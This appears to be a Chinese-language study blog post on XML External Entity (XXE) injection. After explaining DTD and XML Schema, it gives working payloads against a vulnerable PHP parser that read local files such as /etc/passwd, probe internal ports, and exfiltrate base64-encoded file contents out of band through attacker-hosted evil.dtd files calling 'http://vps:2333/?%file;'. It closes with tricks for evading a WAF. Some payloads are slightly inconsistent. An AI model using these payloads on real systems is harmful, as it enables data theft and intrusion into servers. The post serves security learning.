XXE学习

0x00前言

Wiki解释为XML External Entity,即XML外部实体注入漏洞。当包含对外部实体的引用d的XML输入被若配置XML解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造、从解析器所在机器的角度进行端口扫描,以及其他系统影响。

 

0x01 DTD

我们首先看一看一个XXE的payload

<?xml version="1.0" encoding='utf-8'?>           # XML声明
<!DOCTYPE root [                                        #DTD
<!ENTITY % ext SYSTEM "file://etc/passwd"> %ext;        #部
]>                                                      #分
<foo>&xxe;</foo>    # XML部分

什么是DTD?

Document Type Definition 即文档类型定义,可定义合法的XML文件构建模块。它使用一系列的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的DOCTYPE声明

<!DOCTYPE 根元素 [元素声明]>

带有DTD的XML文档实例

<!--XML声明--->
<?xml version="1.0"?>
<!--文档类型声明-->
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<!--文档元素-->
<note>
  <to>cs</to>
  <from>christa</from>
  <heading>head</heading>
  <body>Test</body>
</note>

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。

!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"

!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型

!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型

!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型

!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

外部文档声明

<!DOCTYPE 根元素 SYSTEM "文件名">

<!DOCTYPE 根元素名称  SYSTEM "外部DTD的URL" >

引用公共的DTD

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

0x02XSD-<schema>元素

什么是XML schema?

XML Schema 是基于 XML 的 DTD 替代者。其作用是定义 XML 文档的合法构建模块,类似 DTD。

主要的特点为:

  • 定义可出现在文档中的元素
  • 定义可出现在文档中的属性
  • 定义哪个元素是子元素
  • 定义子元素的次序
  • 定义子元素的数目
  • 定义元素是否为空,或者是否可包含文本
  • 定义元素和属性的数据类型
  • 定义元素和属性的默认值以及固定值

其定义简单元素的语法是:

<xs:element name="xxx" type="yyy"/>

xxx指的是元素的名称,yyy指元素的数据类型。

常用的类型是:

  • xs:string
  • xs:decimal
  • xs:interger
  • xs:boolean
  • xs:date
  • xs:time

举个栗子,这是一些XML元素:

<lastname>Christa</lastname>
<age>222</age>
<dateborn>2010-03-27</dateborn>

因此相应简单元素定义:

<xs:element name="lastname" type="xs:string"/>
<xs:element name="age" type="xs:integer"/>
<xs:element name="dateborn" type="xs:date"/> 

同时与DTD不同的是,XML schema支持数据类型(data type)和命名空间(namespace)

 

0x03 XXE 漏洞

举一个栗子,有这样一个PHP代码

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

因此我们尝试如下的payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE foo[  
<!ENTITY xxe SYSTEM "file:///c:/windows/system.ini"> ]>
<foo>&xxe;</foo>


或

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY remote SYSTEM "file:///c:/windows/system.ini">
]>
<root>&remote;</root>

则回显的消息为

从而成功读取了文件,同时我们也能够将协议改为php://filter协议,得到的信息为

使用php://fillter可以解决在多个转移符号的乱码问题,前提是在php的环境之下。

当如果系统不为php,同时多个转译符号的时候,我们可以使用CDATA的方式将内容打印出来,只有CDATA区段中的文本会被解析器忽略。因此我们的payload为:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE foo [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % foos SYSTEM "file:///c:/test">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 

<foo>&xxe;</foo>

evil.dtd

<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%foos;%end;">

主机内网端口探测

同时xxe漏洞也可以用到去探测端口信息,例如

<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://127.0.0.1:6379/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>5</data>

一个内置DTD方法的文章

使用本地DTD文件来利用XXE漏洞实现任意结果输出

无回显读取文件(Blind OOB XXE)

当一些xxe的攻击没有回显的时候,我们可以将会回显的信息发送到我们的主机当中。因此payload为

<!ENTITY % files SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/system.ini">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:4666?p=%files;'>">

将该payload放在自己的vps上面,然后向目标主机发送如下信息

<!DOCTYPE foo[ 
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>

<foo>&xxe;</foo>

成功执行

补一下Java OOB的盲XXE的payload,以后参考

<!DOCTYPE a [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://vps:2334/evil.dtd">
    %dtd;
    %all;
]>
<x>&send;</x>

 

<!ENTITY % all "<!ENTITY send SYSTEM 'http://vps:2333/?%file;'>">;

<!DOCTYPE a [
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % dtd SYSTEM "http://vps/evil.dtd">
    %dtd;
]>
<x>&send;</x>

 

<!ENTITY % payload "<!ENTITY send SYSTEM 'http://vps:8888/?%file;'>"> %payload;

 

0x04 一些绕过的方式

在文档中加入一个额外的符号

可以在<?xml 中或<!DOCTYPE>中加入一空格,或者使用tag键替代

将DTD链接到外部位置实体

因为WAF在检测的时候不会去检查外部的实体是否容易受到攻击,否为WAF本身也成为了容易受攻击的一种,因此我们可以采用将链接引向到外部位置实体来绕开WAF的检测

其他少见编码

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

有时候需要将header中的Content-Type改为application/xml

Content-Type:application/xml;charset=UTF-8;

Reference